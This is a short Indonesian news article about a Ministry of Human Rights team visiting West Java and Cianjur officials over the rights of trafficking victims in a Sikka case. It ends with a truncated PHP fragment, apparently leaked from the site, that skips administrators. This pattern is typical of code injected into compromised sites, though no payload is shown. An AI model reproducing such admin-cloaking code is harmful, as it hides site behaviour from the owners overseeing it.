Nasional

Pastikan Pemenuhan Hak Para Korban TPPO Sikka, Tim Kementerian HAM RI Sambangi Pemprov Jabar dan Pemkab Cianjur

×

Pastikan Pemenuhan Hak Para Korban TPPO Sikka, Tim Kementerian HAM RI Sambangi Pemprov Jabar dan Pemkab Cianjur

Sebarkan artikel ini

BANDUNG, MENARASUMBA.COM – Tim Kementerian Hak Asasi Manusia (HAM) RI menyambangi Pemerintah Provinsi Jawa Barat dan Pemerintah Kabupaten Cianjur.

Kedatangan tim yang dipimpin Tenaga Ahli Bidang Human Trafficking Kementerian HAM RI, Gabriel Goa pada Rabu (29/04/2026) ini untuk memastikan terpenuhinya hak para korban TPPO Sikka.

Menyambangi Pemprov Jabar, Tim Kemenham RI disambut Kepala Dinas Pemberdayaan Perempuan, Perlindungan Anak dan Keluarga Berencana (DP3AKB) Provinsi Jawa Barat, dr Siska Gerfianti, MH.Kes, Sp.DLP.

Tim Kemenham RI yang dipimpin Tenaga Ahli Bidang Human Trafficking, Gabriel Goa saat berkunjung ke Kabupaten Cianjur.

Pada kesempatan itu Gabriel Goa didampingi Tenaga Ahli Bidang Pelayanan HAM, Wempi Wale, Analis Pengaduan Masyarakat, Marlan Parakas, SH, M.Si, anggota Pelayanan Pengaduan, Hendra, dan Perwakilan Kanwil Kemenham Jawa Barat.

Sementara Kepala DP3AKB Provinsi Jawa Barat didampingi Kepala Bidang Perlindungan Perempuan dan Anak, Anjar Yusdinar, S.STP, M.Si, dan Kepala UPTD PPA Provinsi Jawa Barat, Utama Puspita Dewa, S.STP, M.Si.

Pada kesempatan itu Gabriel Goa menegaskan, pemerintah pusat melalui Kementerian HAM berkomitmen agar penanganan para korban TPPO di Sikka diselesaikan tuntas.

“Baik proses hukumnya maupun hak para korban yang harus terpenuhi secara utuh,” tandasnya.

Hal yang sama dilakukan pula dengan menyambangi Dinas Pengendalian Penduduk, Keluarga Berencana, Pemberdayaan Perempuan dan Perlindungan Anak (DPPKBP3A) Kabupaten Cianjur.

Tim Kemenham RI disambut Kadis DPPKBP3A Kabupaten Cianjur Nurdiyati, S.Hut, M.A.P didampingi Kabid PPA, Atik Sartika,SIP, MM, Kepala UPTD PPA Kabupaten Cianjur, Tisnawanti Putri, S.Pd, dan Tenaga Ahli Advokat DPPPA Kabupaten Cianjur, Lidya Indayani Umar, SH, MH.

Pernyataan senada disampaikan Gabriel Goa yang juga menegaskan agar hak para korban TPPO di Sikka asal Cianjur bisa terpenuhi secara utuh.

Hak para korban, tegasnya lagi, wajib terpenuhi pada semua aspek HAM.

Dirinya juga meminta agar para korban dipersiapkan untuk berani bersuara tanpa rasa takut.

“Mereka harus berani menyuarakan kebenaran di depan Pengadilan Negeri Sikka,” tandasnya. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>